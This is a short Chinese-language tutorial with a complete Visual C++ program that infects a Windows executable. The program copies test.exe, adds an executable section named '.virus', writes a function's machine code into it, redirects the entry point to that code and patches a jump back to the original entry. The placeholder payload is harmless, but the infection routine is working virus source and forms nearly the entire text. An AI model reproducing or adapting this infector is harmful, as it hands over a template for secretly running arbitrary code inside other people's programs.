我們進行資訊安全編程的時候,經常需要向exe檔案插入自己的原始碼,
我們如何在代碼中實現呢。請見代碼與注釋講解
#include <iostream.h>#include <windows.h>#include <stdio.h>////////////////////////////////////////////////////////////////////////////*******************************************************************//*******以下為程式碼*******//*******************************************************************//////////////////////////////////////////////////////////////////////////void VirusCode(){_asm {mov eax , 5}return;}////////////////////////////////////////////////////////////////////////////*******************************************************************//*******主函數*******//*******************************************************************//////////////////////////////////////////////////////////////////////////void main(){//*******************************************************************//*******首先得到程式碼起始地址,結束位址,代碼長度*******//*******************************************************************///////////////////////////////////////////////////////////////////*******變數說明*******//**dwFunBegAddr:程式函數的開始地址//**dwFunEndAddr:程式函數的結束位址//**dwFunCodeLen:程式碼長度//**dwJmpOff:程式函數jmp區到真正入口的位移//**pMove:臨時的指標變數/////////////////////////////////////////////////////////////////DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;PBYTE pMove = NULL;//*******首先指向程式函數的jmp指令*******pMove = (PBYTE)VirusCode;cout << "函數的jmp地址為:" << (PVOID)pMove << endl;//*******定位到jmp後面的位移處*******pMove ++;//*******把位移賦值給變數*******dwJmpOff = *((PDWORD)pMove);//*******jmp下一條指令的地址(code + 5)+位移得到函數真正的入口地址*******dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;cout << "函數jmp的跳轉位移為:" <<(PVOID)dwJmpOff << endl;cout << "開始地址為:" << (PVOID)dwFunBegAddr << endl;//*******以下通過搜尋得到函數的結束位址*******//*******首先把函數的入口地址賦給變數*******pMove = (PBYTE)dwFunBegAddr;//*******向後搜尋,直到結尾*******while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5))){pMove ++;}//*******此時pMove指向ret前一條指令*******//*******pMove向後移5個位元組,為程式碼的jmp指令佔位*******pMove +=5;dwFunEndAddr = (DWORD)pMove;cout << "代碼結束位址為:" << (PVOID)dwFunEndAddr << endl;//*******結束位址減去起始地址,得到代碼長度*******dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;cout << "總代碼長度為:" << (int)dwFunCodeLen << endl;//*******************************************************************//*******以下為在exe檔案中添加程式碼*******//*******************************************************************HANDLE hFile , hMapFile;LPVOID pMapOfFile = NULL;//*******************************************************************//*******檢測檔案合法性*******//*******************************************************************//*******開啟檔案*******hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);if (INVALID_HANDLE_VALUE == hFile){cout << "CreateFile Error!" << endl;return;}//*******建立檔案對應*******hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);if (!hMapFile){cout << "CreateFileMapping Error!" << endl;goto CLOSEFILEHANDLE;}//*******把檔案對應到記憶體中*******pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);if (!pMapOfFile){cout << "MapViewOfFile Error!" << endl;goto CLOSEMAPHANDLE;}IMAGE_DOS_HEADER *pDosHeader;//********檢測DOS檔案頭*******pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){cout << "Check Dos Header Error!" << endl;goto FreeViewOfMap;}IMAGE_NT_HEADERS *pNtHeader;//*******檢測NT檔案頭*******pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);if (pNtHeader->Signature != IMAGE_NT_SIGNATURE){cout << "Check NT Header Error!" << endl;goto FreeViewOfMap;}//***************************************************************//*******準備工作*******//***************************************************************BOOL bCopy;//*******首先把要添加程式碼的檔案複製一份*******bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);if (!bCopy){cout << "CopyFile Error!" << endl;}HANDLE hNewFile;//*******開啟剛剛複製的檔案*******hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);if (!hNewFile){cout << "CreateFile Error!" << endl;goto FreeViewOfMap;}HGLOBAL pNewFileHeader;//*******為新檔案的檔案頭申請一塊記憶體,用於修改檔案頭資訊*******pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);if (!pNewFileHeader){cout << "GlobalAlloc Error!" << endl;goto CloseNewFileHandle;}//*******用原檔案頭填充這塊記憶體*******RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);IMAGE_NT_HEADERS *pNewFileNtHeader;pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);////////////////////////////////////////////////////////////////////////////*******此時的指標資訊*******//*******pMapOfFile:原對應檔的開始//*******pDosHeader:原對應檔的DOS頭也就是檔案開始,只不過類型不一樣//*******pNTHeader:原對應檔的NT頭//*******pNewFileHeader:新檔案的開始//*******pNewFileNtHeader:新檔案的NT頭////////////////////////////////////////////////////////////////////////////****************************************************************//*******修改新檔案的節表資訊*******//****************************************************************int nSecNum;nSecNum = pNtHeader->FileHeader.NumberOfSections;IMAGE_SECTION_HEADER *pLastSec , *pNewSec;//*******定位到原檔案中的最後一個節表*******pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));//*******pNewSec為最後一個節表的結尾處,也就是新加節表的開頭*******pNewSec = pLastSec + 1;//*******修改新增節表的相關資訊*******//*****節表總數加1*****pNewFileNtHeader->FileHeader.NumberOfSections ++;//*****修改新節的檔案位移*****pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;//*****修改新節的檔案尺寸*****int nAlignNum;nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0){nAlignNum++;}pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;//*****修改所有代碼長度按記憶體頁對齊後的大小*****nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0){nAlignNum ++;}pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment;//*****修改檔案記憶體映像尺寸*****pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment;//*****修改新節的記憶體位移量*****//*****用原最後節的記憶體位移加上原最後節對齊後的記憶體尺寸的大小*****nAlignNum = pLastSec->Misc.VirtualSize / pNewFileNtHeader->OptionalHeader.SectionAlignment;if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0){nAlignNum ++;}pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +pLastSec->VirtualAddress;//*****修改新節的記憶體尺寸*****pNewSec->Misc.VirtualSize = dwFunCodeLen;//*****更新新節屬性*****pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;//*****更新節名*****strcpy((char*)pNewSec->Name , ".virus");//*****更新入口地址*****pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;BOOL bWrite;DWORD dwHeaderSize , dwWriten;dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);//*****向檔案中添加程式碼*****DWORD dwSetFileP;//*****定位到新檔案中新節開始處*****dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "SetFilePointer Error!" << endl;goto CloseNewFileHandle;}//*****寫入程式碼*****bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);if (!bWrite){cout << "Write Virus Code Error!" << endl;goto CloseNewFileHandle;}//*****定位到檔案尾部*****dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + pNewSec->SizeOfRawData , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "SetFilePointer End Error!" << endl;goto CloseNewFileHandle;}//*****設定檔案結束*****if (!SetEndOfFile(hNewFile)){cout << "SetEndOfFile Error!" << endl;goto CloseNewFileHandle;}//*******修正原入口地址*******PBYTE pModifyAddr;pModifyAddr = (PBYTE)pNewSec->VirtualAddress;pModifyAddr+= dwFunCodeLen;//printf("%x\n" , pModifyAddr);int nSub; //跳轉的距離nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;DWORD dwModifyLoca;dwModifyLoca = pNewSec->PointerToRawData;dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;//dwModifyLoca ++;//*****定位到程式碼最後的五個位元組處*****dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "Modify Address SetFilePointer Error!" << endl;goto CloseNewFileHandle;}//*****修正jmp指令*****BYTE bJmp;bJmp = 0XE9;bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);if (!bWrite){cout << "Modify Address WriteFile Error!" << endl;goto CloseNewFileHandle;}//*****修正跳轉地址*****bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);if (!bWrite){cout << "Modify Address WriteFile Error!" << endl;goto CloseNewFileHandle;}//****************************************************************//*******掃尾工作*******//****************************************************************CloseNewFileHandle:CloseHandle(hNewFile);FreeViewOfMap:UnmapViewOfFile(pMapOfFile);CLOSEMAPHANDLE:CloseHandle(hMapFile);CLOSEFILEHANDLE:CloseHandle(hFile);}